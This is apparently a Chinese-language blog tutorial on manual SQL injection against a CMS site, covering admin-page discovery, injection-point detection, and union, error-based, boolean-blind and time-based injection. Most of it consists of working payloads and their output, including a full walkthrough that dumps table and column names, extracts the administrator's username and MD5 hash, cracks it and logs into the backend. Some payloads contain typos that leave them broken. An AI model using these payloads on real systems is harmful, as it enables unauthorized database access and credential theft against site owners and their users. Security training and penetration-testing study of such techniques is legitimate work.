文章目录
一、御剑扫描网站后台
扫描网页,将字典中的内容(如:/login.php等)拼接到url后面,不断地扫描,以此得到该网站有哪些网页
二、 SQL注入流程
Step1. 是否有回显
?id=1
~~
?id=2
通过将传递给url中的 id 加1/ 减1,看两次页面是否一样:如果一样就是没有回显,如果不一样就是有回显。
select * from tablename where id=$id # URL背后执行的SQL代码
例1:有回显
例2:有回显
Step2. 是否有报错(能够判断字符型还是数字型的报错)
?id=1'
~~~
?id=1"
如果有报错,直接判断注入类型和闭合方式;如果没有报错,则无法直接判断注入类型,但是仍然可以判断闭合方式。
1. 注入类型的判断
如果报错信息中有数字(我们传入的id)就是字符型,没有数字就是数字型
例如:?id=35’ 的报错信息为 near ‘’’ at line 1 → 没有出现数字35,所以是数字型注入
select * from tbName where id=35' # URL背后执行的SQL代码
2. 闭合方式的判断
- 如果添加 ’ 或者 " 后,依旧能够正常显示,那么说明添加 ’ 或者 " 绝对不是闭合方式。
- 猜测 除了上一步中已经排除的闭合方式外 的几种有可能的闭合方式:
- 通过
?id=1' --+
看是否可以正常显示,如果可以正常显示,就表示 ’ 就是闭合方式; - 反正就是不断猜测,例如 ' ~~~ “ ~~~ ') ~~~ ”)等。
- 通过
- 代码审计 Less07
例1:数字型注入
例2:字符型注入,闭合方式为 单引号 ’
添加双引号正常显示,双引号" 一定不是闭合方式。
Step3. 是否有布尔类型的状态
?id=1' and 1=1 --+
~~~~~
?id=1' and 1=2 --+
如果 1=1 和 1=2 的页面结果一样,就没有布尔类型的状态。
# URL背后执行的SQL代码
select * from tableName where id=1 and 1=1
select * from tableName where id=1 and 1=2
?id=1' and sleep(5) --+
如果页面没有休眠5秒,就是没有布尔类型的状态。
开发者工具–>查看元素–>网络:看页面是否有延迟(定义的是沉睡5秒,但是显示的是6秒,就是有延迟)
例:有布尔类型的状态
1=1 与1=2 的页面不一样
注入sleep(5)语句,可以通过网络时间线看到延时,说明sleep(5)语句起到了作用,页面休眠了5秒。
综上,此连接存在SQL 注入漏洞。
【注】除了id+1/-1 判断是否有回显,其他(and 1=1 / and 1=2 / and sleep(5) )出现任意一个,就断定有注入漏洞。
Step4. 选择注入手法
- 如果有回显,考虑联合查询 union
- 如果没有回显,且有报错,考虑报错注入
and updatexml(1,concat(0x5e,@@datadir,0x5e),1) --+
- @@datadir可以替换为任何select语句
- 如果没有回显,也没有报错,但是有布尔类型状态,考虑布尔盲注
- 猜测数据库名的长度
?id=1' and length(database()) = 1 --+
- 猜测数据库的名字
~~~
?id=1' and substr(database(),1,1) = 's' --+
- 以上可以采用bp半自动化注入:抓包发送到Intruder模块,修改变量,选择字典,进行注入
- 猜测数据库名的长度
- 如果以上情况都没有,考虑延时注入
三、 四种注入手法
(一)联合查询
1. 联合查询的基本概念
由于数据库中的内容会回显到页面中来,所以我们可以采用联合查询进行注入。
联合查询就是SQL 语法中的union select 语句。该语句会同时执行两条select语句,生成两张虚拟表,然后把查询到的结果进行拼接。联合查询会“纵向"拼接,两张虚拟的表,实现跨库跨表查询。
2. 联合查询的必要条件
- 两张虚拟的表具有相同的列数:使用order by 1 / order by 2 … 来判断原有的代码中是几列
- 虚拟表对应的列的数据类型相同:数字可以自动转化为字符串 // 字符串可以通过编码(ASCII编码等)转化为数字
3. 判断字段个数
可以使用 order by
语句 来判断当前select 语句所查询的虚拟表的列数。
order by
语句本意是按照某一列进行排序,在mysql中可以使用数字来代替具体的列名,比如order by 1
就是按照第一列进行排序,如果mysql没有找到对应的列,就会报错Unknown column
。我们可以依次增加数字,直到数据库报错。
order by 1 --+
order by 2 --+
order by 15 --+
order by 16 --+
~~~~~
报错Unknown column → 当前表中字段个数为15
4. 判断显示位置
得到字段个数之后,可以尝试构造联合查询语句。
这里我们并不知道表名,根据mysql 数据库特性,select语句在执行的过程中,可以不需要指定表名。
?1d=33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+
?id=33 union select null,null, null,null,null, null,null,null,null,null,null,null,null,null,null--+
页面显示的是第一张虚拟表的内容,那么我们可以考虑让第一张虚拟表的查询条件为假,则显示第二张表的记录。
因此构造SQL 语句:
?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+
?id=-33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+
在执行SQL语句的时候,可以考虑用火狐浏览器的插件hackbar。
发现3 和11 会回显到页面中
5. 一些我们想要得到的内容
数据库版本 version()
我们可以在数字3的位置用函数version()
代替,即可得到数据库的版本。
?id=33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15 --+
数据库版本为5.5.53。
当前数据库名 database()
?id=33 and 1=2 union select 1;2,database(),4,5,6,7,8,9,10,11,12,13,14,15 --+
将3和11位置替换为想要查询的东西
数据库中的表
# 不要忘记最后用 --+ 将源代码中的后续代码注释掉
?id=33 and 1=2 union
select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15
from information_schema.tables
where table_schema=database() --+
- 数据库报错,考虑用
hex()
函数将结果由字符串转化成数字
?id=33 and 1=2 union
select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15
from information_schema.tables
where table_schema=database() --+
例1:不使用group_concat()函数,只能得到第一个表名
十六进制解码:
例2:使用group_concat()得到所有的表名
得到十六进制编码后的字符串:
636D735F61727469636C652C636D735F63617465676F72792C636D735F66696C652C636D735F667269656E646C696E6B2C636D735F6D6573736167652C636D735F6E6F746963652C636D735F706167652C636D735F7573657273
十六进制解码:
cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_prge,cms_users
管理员的账号密码可能保存在cms_users 表中
表中字段
?id=33and 1=2 union
select 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15
from information_schema.columns
where table_chema=database() and table_name='cms_users' --+
查询表’cms_users’中的字段
得到十六进制编码后的字符串:7573657269642C757365726E616D652C70617373776F7264
解码得到:userid,username,password
字段内容
- 查询表中记录数
?id=33 and1=2 union select1,2,count(*),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users --+
cms_users 表中只有一条记录。 - 查询字段内容
?id=33 and1=2union select 1,2,hex(concat(username,':',password)),4,5,6,7,8,9,10,11,12,13,14,15 from cms users --+
查询管理员的账号密码
得到后台管理员的账号密码,但是密码以密文的方式保存在数据库中
admin:7fef6171469e80d32c0559f88b377245
通过观察密文可知,此密文为MD5 密文;可以在线查询,网址为 https://www.cmd5.com/
解密得到 admin:admin888
通过网站后台登录网站
(二)报错注入
在注入点的判断过程中,发现数据库中SQL语句的报错信息,会显示在页面中,因此可以进行报错注入。
报错注入的原理,就是在错误信息中执行SQL语句。触发报错的方式很多,具体细节也不尽相同。此处建议直接背公式即可。
1. group by 重复键冲突
(1)模板
网传版本:
?id=33 and
(
select 1
from ( select count(*),concat( (select version() from information_schema.tables limit 0,1) , floor(rand()*2) )x
from information_schema.tables
group by x
)a
)--+
简化版本:
?id=33 union
select 1,2,concat(left(rand(),3),'^',(select version()),'^') a, count(*),5,6,7,8,9,10,11,12,13,14,15
from information_schema.tables
group by a --+
- version() 的地方是可以换成我们需要的东西,例如 database()
- select version() from information_schema.tables limit 0,1 的地方(concat包裹的地方)是可以换成我们需要的SQL语句
(2)一个例子 - 普通情况
select concat(left(rand(),3),'^' , (select version()), '^') as x,count(*)
from information_schema.tables
group by x
或者
select concat(left(rand(),3),'^', (select version()),'^') x, count(*)
from information_schema.tables
group by x
解释:语句中的 as 是给concat(left(rand(),3),'^',(select version()),'^') 起一个别名x,方便后面聚合操作。
此处 as 可以省略,直接写 x 即可。
报错信息:ERROR 1062 (23000): Duplicate entry 0.9 5.5.53" for key’ group_key'
- 如果关键的表被禁用了,可采用如下语句
select concat('^',version(),'^',floor(rand()*2)) ×,count(*)
from (select 1 union select null union select !1) a
group by x
报错信息:ERROR 1062(23000): Duplicate entry' 5.5.53 1' for key 'group_key'
- 如果rand()、count() 被禁用了,可采用如下方式
select min(@a:=1)
from information_schema.tables
group by concat('^',@eversion,'^',@a:=(@a+1)2)
报错信息:ERROR 1062 (23000):Duplicate entry '~5.5.53~0 for key'group_key'
- 不依赖额外的函数和具体的表。
select min(@a:=1)
from(select 1 union select null union select !1) a
group by concat('^', @@version,'^',@a:=(@a+1)82)
报错信息:ERROR 1062 (23000):Duplicate entry '~5.5.53~0 for key'group_key'
2. XPATH 报错
MySQL5.0以下不支持XPATH报错
?id=33 and extractvalue(1, concat('^',(select version()),'^',)) --+
或者
?id=33 and updatexml(1,concat('^',(select database()),'^'),1) --+
(三)布尔盲注 & 延时注入
- 原理:利用页面返回的布尔类型状态,正常或者不正常。
- 获取数据库名步骤
(1)数据库名长度
- 布尔盲注
?id=33 and length(database())=1 --+
- 布尔盲注与延时注入结合
?id=33 and if(length(database()<99 , sleep(5) , 1 ) --+
- 布尔盲注与延时注入结合
(2)数据库名的第一位 ?id=33 and ascii( substr(database(),1,1) )=99 --+
- 布尔盲注与延时注入结合
?id=33 and if( ( ascii( substr(database(),2,1) )=110 , sleep(5) , 1 ) --+
(四) 口诀
- 是否有回显 ~~~~~~~~~~~~~~~~~~~~~~~~~ 联合查询
- 是否有报错 ~~~~~~~~~~~~~~~~~~~~~~~~~ 报错注入
- 是否有布尔类型的状态 ~~~~~~~~ 布尔盲注
- 最后 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 延时注入